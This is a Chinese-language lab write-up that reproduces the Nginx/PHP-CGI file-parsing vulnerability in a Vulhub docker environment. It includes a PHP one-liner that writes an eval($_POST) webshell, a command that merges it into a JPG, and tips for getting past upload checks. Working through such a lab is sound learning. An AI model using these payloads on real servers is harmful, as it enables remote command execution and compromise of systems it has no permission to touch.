Nginx 解析漏洞复现
今天被老师进行进行面试了,被问到了什么是解析漏洞,呜呜呜我太菜了,答不出来,但是生命不息,学习不止,现在就让我们一起学习一下什么是解析漏洞。
打开vulhub靶场,这个靶场搭建的方法在https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5502,这个漏洞的地址是在nginx/nginx_parsing_vulnerability,直接就是一个
cd nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d
登录 http://靶机ip/uploadfiles/nginx.png,当在该URL中输入不存在的文件名x.php时,发现会自动显示php界面内容
这是什么原因呢?其实啊这就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息
Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。
Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。
昂,具体内容在这https://blog.csdn.net/niqiu320/article/details/115481193,有兴趣的自己看一下。
Nginx 解析漏洞利用
所以我们现在要做的就是上传一个图片马文件到这个网站上,然后在登录/.上传的.jpg/.php来执行该文件,从而生成我们的shell.php文件来连接靶机
首先随机拿一张图片,然后再写一个.php文件,里面写上
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>
//创建名为shell.php的文件,并在文件中写入<?php eval($_POST["cmd"]);echo"hacker"?>
我这里用的图片就是这个,非常好认嗷。
然后在桌面(你两个文件在哪就在哪打开)打开cmd,执行命令
copy /b 图片文件+php文件 shell.jpg
然后就成功将两个文件合成为shell.jpg文件了,现在我们就可以访问http://靶机IP/index.php来上传我们的文件,很显然,不给上传,东西写进去文件被破坏了,被检验出不是正常的jpg不能上传了,可能有些朋友就成功了,因为第一次的时候我是可以的,现在应该是写的内容太多了,出了问题。
这时候我们就可以打开WexHex,将图片打开,拉倒文件的最末尾处,右键选择编辑,添加零字节,然后在上面写入以下内容
正常情况下保存后图片仍然能正常显示,如果还是不能正常显示的,可以打开burpsuite,然后上传正常图片时抓包,在数据末尾加上一句话木马,通常就能上传成功了。
现在将修改好的图片进行上传,上传成功后访问图片位置,图片内容正常,这时候在URL后加上/.php,让其运行php命令
会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了
这里的警告不用在意,这个不影响。这个时候就可以打开某不知名工具进行连接,连接成功后就可以进入到靶机内部
再深入的就不讲了,学习新思想,争做新青年,一起好好学习,努力为社会做出贡献。
版权归原作者 Tauil 所有, 如有侵权,请联系我们删除。